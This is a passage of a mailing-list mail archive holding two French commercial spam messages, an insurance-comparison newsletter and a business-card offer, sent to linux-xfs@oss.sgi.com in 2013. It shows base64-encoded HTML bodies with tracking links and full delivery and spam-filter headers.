IHN0eWxlPSJkaXNwbGF5OiBibG9jazsgaGVpZ2h0OiAxMDAlOyB3aWR0aDogMTAwJTsgdGV4dC1k ZWNvcmF0aW9uOiBub25lOyIgIGhyZWY9Imh0dHA6Ly9sZXNhY3R1c3Byby5mci90ci9pbmRleC5h c3B4P2lkPTE3YjljOTI2NTNmZTBiN2M5ZDQ3NmYyZmRmMjA2ODBlNzg4ZDgyYTUzYjVlZWE3YjU2 NzllZTlmY2QzYjMzMTZiZjJkZTVhNGM4MTg1ODlmIj48Zm9udCBjb2xvcj0iIzE0MDI4ZCIgc2l6 ZT0iMiIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PHU+QWNjw6lkZXINCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXUgc2l0ZSBtb2JpbGU8L3U+IDwvZm9udD4g PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9Ik9tYnJlQ2VsbCI+PGEg c3R5bGU9ImRpc3BsYXk6IGJsb2NrOyBoZWlnaHQ6IDEwMCU7IHdpZHRoOiAxMDAlOyIgIGhyZWY9 Imh0dHA6Ly9sZXNhY3R1c3Byby5mci90ci9pbmRleC5hc3B4P2lkPTE3YjljOTI2NTNmZTBiN2M5 ZDQ3NmYyZmRmMjA2ODBlZTdiYzQxMmNiOTExNGY0MjI2ZTVjMTdlN2M2ZWNlMzk1NzcyY2NiMTEw YmVmYjRjIj48aW1nIHNyYz0iaHR0cDovL3d3dy5oeXBlcmFzc3VyLmNvbS9zdGF0aWMvY3Jvc3Mv MTEvb21icmUuanBnIiBhbHQ9IiIgaGVpZ2h0PSIxOCIgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIj4g PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgaGVpZ2h0 PSIzMCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJIeXBlcmFzc3VyIj48YSBzdHlsZT0iZGlzcGxh eTogYmxvY2s7IGhlaWdodDogMTAwJTsgd2lkdGg6IDEwMCU7IHRleHQtZGVjb3JhdGlvbjogbm9u ZTsiICBocmVmPSJodHRwOi8vbGVzYWN0dXNwcm8uZnIvdHIvaW5kZXguYXNweD9pZD0xN2I5Yzky NjUzZmUwYjdjOWQ0NzZmMmZkZjIwNjgwZWIyOGYxMmEwNGFjYmJlOTUzMzNmNjVhN2U5NDRhZjdj ODU2YzFmMTA5ZWE2Zjg1ZSI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgc2l6ZT0iMyIgY29sb3I9IiMxNDAyOGQiPjxzdHJvbmc+UGVuc2V6IGF1c3NpIMOgIGNvbXBh cmVyIHZvcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhdXRyZXMgYXNzdXJhbmNl czwvc3Ryb25nPiA8L2ZvbnQ+IDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ciBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJJY29uZXMiPg0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjI5MCIgYm9yZGVyPSIwIiBjZWxsc3Bh Y2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGFsaWduPSJsZWZ0Ij4NCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGEgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyBoZWln aHQ6IDEwMCU7IHdpZHRoOiAxMDAlOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IiAgaHJlZj0iaHR0 cDovL2xlc2FjdHVzcHJvLmZyL3RyL2luZGV4LmFzcHg/aWQ9MTdiOWM5MjY1M2ZlMGI3YzlkNDc2 ZjJmZGYyMDY4MGU5ODlhYmI0M2RkZTVhYTM5N2Q0YWE4ZGVjZmRkMTIwYmU0ZTcxMWI4ZGMyZjRm YjgiPjxpbWcgc3JjPSJodHRwOi8vd3d3Lmh5cGVyYXNzdXIuY29tL3N0YXRpYy9jcm9zcy8xMS9z YW50ZS5qcGciIGFsdD0iU2FudMOpIiB3aWR0aD0iNzUiIGhlaWdodD0iNzUiIGJvcmRlcj0iMCI+ IDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4N CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwv dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGln bj0iY2VudGVyIj48YSBzdHlsZT0iZGlzcGxheTogYmxvY2s7IGhlaWdodDogMTAwJTsgd2lkdGg6 IDEwMCU7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsiICBocmVmPSJodHRwOi8vbGVzYWN0dXNwcm8u ZnIvdHIvaW5kZXguYXNweD9pZD0xN2I5YzkyNjUzZmUwYjdjOWQ0NzZmMmZkZjIwNjgwZTFhNmYz YWVjZTI2NTg1MjUzYWQ0YzZjNzU0ZDJkYzE5ZDRjNjU0NWYwMGM3YmJmYiI+PGltZyBzcmM9Imh0 dHA6Ly93d3cuaHlwZXJhc3N1ci5jb20vc3RhdGljL2Nyb3NzLzExL2hhYml0YXRpb24uanBnIiBh bHQ9IkhhYml0YXRpb24iIHdpZHRoPSI3NSIgaGVpZ2h0PSI3NSIgYm9yZGVyPSIwIj4gPC9hPg0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4NCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50 ZXIiPjxhIHN0eWxlPSJkaXNwbGF5OiBibG9jazsgaGVpZ2h0OiAxMDAlOyB3aWR0aDogMTAwJTsg dGV4dC1kZWNvcmF0aW9uOiBub25lOyIgIGhyZWY9Imh0dHA6Ly9sZXNhY3R1c3Byby5mci90ci9p bmRleC5hc3B4P2lkPTE3YjljOTI2NTNmZTBiN2M5ZDQ3NmYyZmRmMjA2ODBlNWIyMTA5MGVlN2Qx YTVhNzE2Yjc0YjNiZmJlM2ExYmFkNjYxN2MwNmIyNDU0YzdhIj48aW1nIHNyYz0iaHR0cDovL3d3 dy5oeXBlcmFzc3VyLmNvbS9zdGF0aWMvY3Jvc3MvMTEvbW90by5qcGciIGFsdD0iTW90byIgd2lk dGg9Ijc1IiBoZWlnaHQ9Ijc1IiBib3JkZXI9IjAiPiA8L2E+DQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZD4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1z ZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiMxNDAyOGQiPjxzdHJvbmc+U2FudMOpPC9zdHJvbmc+DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48L3RkPg0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90 ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWdu PSJjZW50ZXIiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9 IjIiIGNvbG9yPSIjMTQwMjhkIj48c3Ryb25nPkhhYml0YXRpb248L3N0cm9uZz4NCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pg0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGZh Y2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiIGNvbG9yPSIjMTQwMjhk Ij48c3Ryb25nPk1vdG88L3N0cm9uZz4gPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Ri b2R5Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjI5MCIgYm9yZGVyPSIwIiBjZWxs c3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGFsaWduPSJsZWZ0IiBjbGFzcz0iSWNvbmVzMiI+ DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIHN0eWxlPSJk aXNwbGF5OiBibG9jazsgaGVpZ2h0OiAxMDAlOyB3aWR0aDogMTAwJTsgdGV4dC1kZWNvcmF0aW9u OiBub25lOyIgIGhyZWY9Imh0dHA6Ly9sZXNhY3R1c3Byby5mci90ci9pbmRleC5hc3B4P2lkPTE3 YjljOTI2NTNmZTBiN2M5ZDQ3NmYyZmRmMjA2ODBlNTM3ZTFhOTZjOTljN2RhNTYzNWY2ZjY1NmZl NWVkZTk4MDA4MzY2YTBjZjg5OWNjIj48aW1nIHNyYz0iaHR0cDovL3d3dy5oeXBlcmFzc3VyLmNv bS9zdGF0aWMvY3Jvc3MvMTEvZW1wcnVudC5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI3NSIgYWx0 PSJFbXBydW50ZXVyIiBib3JkZXI9IjAiPiA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGEgc3R5bGU9ImRpc3BsYXk6IGJs b2NrOyBoZWlnaHQ6IDEwMCU7IHdpZHRoOiAxMDAlOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IiAg aHJlZj0iaHR0cDovL2xlc2FjdHVzcHJvLmZyL3RyL2luZGV4LmFzcHg/aWQ9MTdiOWM5MjY1M2Zl MGI3YzlkNDc2ZjJmZGYyMDY4MGU2NzFmYmNmZjRjNzMyNTRkNTg4NDNiNmRkN2JlOGVmODNhOTZl YzdmOGM3OTU3NzgiPjxpbWcgc3JjPSJodHRwOi8vd3d3Lmh5cGVyYXNzdXIuY29tL3N0YXRpYy9j cm9zcy8xMS92aWUuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNzUiIGFsdD0iVmllIiBib3JkZXI9 IjAiPiA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJz cDs8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg YWxpZ249ImNlbnRlciI+PGEgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyBoZWlnaHQ6IDEwMCU7IHdp ZHRoOiAxMDAlOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IiAgaHJlZj0iaHR0cDovL2xlc2FjdHVz cHJvLmZyL3RyL2luZGV4LmFzcHg/aWQ9MTdiOWM5MjY1M2ZlMGI3YzlkNDc2ZjJmZGYyMDY4MGUw MjZmMTFjZTgxNjY4NDQ4YmZmYjA3ZjkyNmI0OWY1Zjg5YmMwMTQxMjAxNjllOGQiPjxpbWcgc3Jj PSJodHRwOi8vd3d3Lmh5cGVyYXNzdXIuY29tL3N0YXRpYy9jcm9zcy8xMS9vYnNlcXVlcy5qcGci IHdpZHRoPSI3NSIgaGVpZ2h0PSI3NSIgYWx0PSJPYnPDqHF1ZXMiIGJvcmRlcj0iMCI+IDwvYT4N CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iIzE0MDI4ZCI+PHN0cm9u Zz5FbXBydW50ZXVyPC9zdHJvbmc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkPiZuYnNwOzwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iIzE0MDI4ZCI+PHN0cm9uZz5WaWU8L3N0cm9uZz4gPC9m b250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90 ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWdu PSJjZW50ZXIiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9 IjIiIGNvbG9yPSIjMTQwMjhkIj48c3Ryb25nPk9ic8OocXVlczwvc3Ryb25nPg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDwvdGJvZHk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+ DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249Im1p ZGRsZSIgY2xhc3M9Ikh5cGVyYXNzdXIiIHN0eWxlPSJwYWRkaW5nLXRvcDogMTVweDsiPjxhIHN0 eWxlPSJkaXNwbGF5OiBibG9jazsgaGVpZ2h0OiAxMDAlOyB3aWR0aDogMTAwJTsgdGV4dC1kZWNv cmF0aW9uOiBub25lOyIgIGhyZWY9Imh0dHA6Ly9sZXNhY3R1c3Byby5mci90ci9pbmRleC5hc3B4 P2lkPTE3YjljOTI2NTNmZTBiN2M5ZDQ3NmYyZmRmMjA2ODBlZTMzM2E3ZTNkOTM2NzE3ZjU4Y2Y0 ZWQ4MjUzYWM5ZTUzZDQ1ZjMyODU2MDk2ZGVmIj48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNh LCBzYW5zLXNlcmlmIiBzaXplPSIxIiBjb2xvcj0iIzE0MDI4ZCI+PGk+RWNvbm9taWUgbW95ZW5u ZSByw6lhbGlzw6llIHN1ciB1bg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYW5l bCBkZSAyMDAgdXRpbGlzYXRldXJzIEh5cGVyYXNzdXIsIGZvbmN0aW9uIGR1IHByb2ZpbCBldCBk dSB2w6loaWN1bGUgZGUgbCdhc3N1csOpLjwvaT4gPC9mb250PiA8L2E+DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+DQogICAgICAgICAgICAgICAgICAg IDwvdGFibGU+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPC90 cj4NCiAgICAgICAgICAgIDwvdGJvZHk+DQogICAgICAgIDwvdGFibGU+DQogICAgPGRpdiBhbGln bj0iY2VudGVyIj4NCgk8Zm9udCBjb2xvcj0iIzc3Nzc3NyIgc3R5bGU9ImZvbnQtc2l6ZToxMXB4 O2ZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7Ij4NCgk8YSAg aHJlZj0iaHR0cDovL2xlc2FjdHVzcHJvLmZyL3RyL2luZGV4LmFzcHg/aWQ9MTdiOWM5MjY1M2Zl MGI3YzlkNDc2ZjJmZGYyMDY4MGVlZGMwMWNlYTQzNTUyYmYzMDY1MDVlNTAzYzRkODg1MWUwY2Ez Nzg5ZGRlNDk2MDQiPlBvdXIgY2Vzc2VyIGRlIHJlY2V2b2lyIG5vcyBpbmZvcm1hdGlvbnMgc3Vy IGwnYWRyZXNzZSBsaW51eC14ZnNAb3NzLnNnaS5jb20gLCBkJmVhY3V0ZTtzYWJvbm5lei12b3Vz PC9hPi4NCgk8L2ZvbnQ+DQo8L2Rpdj48aW1nIGhlaWdodD0nMScgd2lkdGg9JzEnIGFsdD0nJyBz cmM9J2h0dHA6Ly9sZXNhY3R1c3Byby5mci90ci9pbmRleC5hc3B4P2lkPTE3YjljOTI2NTNmZTBi N2M5ZDQ3NmYyZmRmMjA2ODBlMjJjMDk2NzRkMzdiMGNhOWY5YmFiYjczMTdmOWIzNGZiZWM4ZjU4 YmRlODlkN2MxJz48L2JvZHk+DQo8L2h0bWw+ From mynews@devenezmalin.fr Sat Jul 6 05:02:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=HTML_COMMENT_SAVED_URL, HTML_IMAGE_RATIO_04,HTML_MESSAGE,MIME_HTML_ONLY,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0968C7F51 for ; Sat, 6 Jul 2013 05:02:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id AFB62304098 for ; Sat, 6 Jul 2013 03:02:36 -0700 (PDT) X-ASG-Debug-ID: 1373104949-04bdf0233fc18750001-w1Z2WR Received: from devenezmalin.fr (a54.devenezmalin.fr [37.59.147.54]) by cuda.sgi.com with SMTP id SmChNfhv3uWXP2XC for ; Sat, 06 Jul 2013 03:02:30 -0700 (PDT) X-Barracuda-Envelope-From: mynews@devenezmalin.fr X-Barracuda-Apparent-Source-IP: 37.59.147.54 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=mail;d=devenezmalin.fr; h=from:sender:to:date:message-id:subject:mime-version:content-type; b=IpeaaYDpcbnHra8+4opJjAHLPw1D+lrOZ8yZv+aAF/I5/BQzO3+995wM8MEtQaqpUQfWY0bm fpWdzOukhr1ZtQ/sJ38gOTlV8HeN0eK2mE+3B7Q49+bBFJNhezVNi3vISt7JurI1JUvaqTQ6 ttfQDbyeu9D78fn2OmOhpzHq5wI= DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=mail;d=devenezmalin.fr; h=from:sender:to:date:message-id:subject:mime-version:content-type; bh=mu+v+L4hAEGoWavgUocK5skgh8M=; b=U3Q0+/yZrIXyfFk129zlJ0K538eNCDGaEjUXp+/XKbtrHxUkeWtSxWgBuQptkINQX3wksadn wW0bO7Ky1aGsd5+eHOZttO0ijWJkwngehhOjIedWovkrwXUY69o7TsrIJ13y46psTaA05yDA xdwB5oR/Y1yvPQspw0yVsIfgfYM= List-Unsubscribe: http://devenezmalin.fr/tr/index.aspx?id=54e2e010ab23a0336306d3e4bf595d68bf43cc55432ae2958c4dac2ff586bb04bc2dad75ac2869ea From: Offre du jour Sender: Offre du jour Reply-To: Offre du jour To: linux-xfs@oss.sgi.com Date: Sat, 06 Jul 2013 11:03:42 GMT Organization: devenezmalin.fr Message-ID: <54e2e010ab23a0336306d3e4bf595d68f1ccea83b0aeb8bc059b1e806cd20ed537578a274f1493e0@devenezmalin.fr> Subject: vos cartes de visite premium moins cher MIME-Version: 1.0 X-ASG-Orig-Subj: vos cartes de visite premium moins cher X-Mailer: devMail.Net (3.0.1854.22234-6) Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: base64 X-Barracuda-Connect: a54.devenezmalin.fr[37.59.147.54] X-Barracuda-Start-Time: 1373104949 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.53 X-Barracuda-Spam-Status: No, SCORE=0.53 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_COMMENT_SAVED_URL, HTML_IMAGE_RATIO_04, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135963 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.36 HTML_COMMENT_SAVED_URL BODY: HTML message is a saved web page 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 77u/PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiANCiJo dHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9zdHJpY3QuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRw Oi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCiAgICA8aGVhZD4NCiAgICAgICAgPCEtLSBzYXZl ZCBmcm9tIHVybD0oMDAyMilodHRwOi8vaW50ZXJuZXQuZS1tYWlsIC0tPg0KICAgIDwvaGVhZD4N CiAgICA8Ym9keT48ZGl2IGFsaWduPSJjZW50ZXIiPjxmb250IHN0eWxlPSJmb250LXNpemU6IDEx cHg7IGZvbnQtZmFtaWx5OiBWZXJkYW5hLEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyIgY29s b3I9IiMwMDAwMDAiPjxhICBocmVmPSJodHRwOi8vZGV2ZW5lem1hbGluLmZyL3RyL21pcnJvci5h c3B4P2lkPTU0ZTJlMDEwYWIyM2EwMzM2MzA2ZDNlNGJmNTk1ZDY4ZWFmYzcwYjJkNmQ2MmYwOTI4 MGMwYWUzYzUwYTE4ZjYyMzQ0NDUzZDZiMDYwZWIyODFhMzQ0ODNmNzhiZjE1NyI+UG91ciB2aXN1 YWxpc2VyIGNvcnJlY3RlbWVudCBjZSBtZXNzYWdlLCBhY2MmZWFjdXRlO2RleiAmYWdyYXZlOyBs YSB2ZXJzaW9uIGVuIGxpZ25lPC9hPg0KPC9mb250Pjxicj4NCjxicj4NCjxkaXYgc3R5bGU9InRl eHQtYWxpZ246IGNlbnRlcjsiPiZuYnNwO0JvbmpvdXIgQ2hlciBNYWxpbiw8YnI+DQpOb3VzIHNv bW1lcyBoZXVyZXV4IGRlIHZvdXMgcHJvcG9zZXIgYXVqb3VyZCdodWkgOjwvZGl2PjwvZGl2Pg0K ICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNl bGxwYWRkaW5nPSIwIj4NCiAgICAgICAgICAgIDx0Ym9keT4NCiAgICAgICAgICAgICAgICA8dHI+ DQogICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjQ0NDQ0ND Ij4NCiAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MzAiIGJvcmRlcj0iMCIgYWxp Z249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICAg ICAgICAgICAgICAgIDx0Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRy Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4NCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90 Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAgICAgICAg PHRhYmxlIHdpZHRoPSI2MzAiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9 IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4NCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRo PSI2MzAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBiZ2NvbG9y PSIjRkZGRkZGIiBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+DQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHN0eWxlPSJiYWNrZ3JvdW5kLWNv 